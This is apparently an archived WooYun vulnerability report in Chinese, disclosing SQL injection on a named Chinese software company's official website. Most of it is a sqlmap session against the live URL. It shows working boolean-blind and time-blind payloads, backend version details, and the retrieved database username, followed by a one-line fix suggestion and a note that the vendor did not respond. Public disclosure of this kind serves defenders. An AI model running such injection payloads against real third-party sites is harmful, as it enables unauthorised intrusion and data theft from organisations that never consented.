乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-26: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-10-10: 厂商已经主动忽略漏洞,细节向公众公开
中标麒麟官网sql注入
root@kali:~# sqlmap -u "http://www.cs2c.com.cn/index.php?id=117" --current-user --level 5 --threads 10 _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20140825}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 00:57:25[00:57:25] [INFO] resuming back-end DBMS 'mysql' [00:57:25] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: id=117 RLIKE (SELECT (CASE WHEN (7287=7287) THEN 117 ELSE 0x28 END)) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=117 AND SLEEP(5)---[00:57:25] [INFO] the back-end DBMS is MySQLweb application technology: Nginx, PHP 5.2.17back-end DBMS: MySQL 5.0.11[00:57:25] [INFO] fetching current user[00:57:25] [INFO] retrieving the length of query output[00:57:25] [INFO] retrieved: [00:57:25] [WARNING] reflective value(s) found and filtering out15[00:57:34] [INFO] retrieved: csc_shmsg_com@% current user: 'csc_shmsg_com@%'[00:57:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.cs2c.com.cn'
如上
过滤,重写代码
未能联系到厂商或者厂商积极拒绝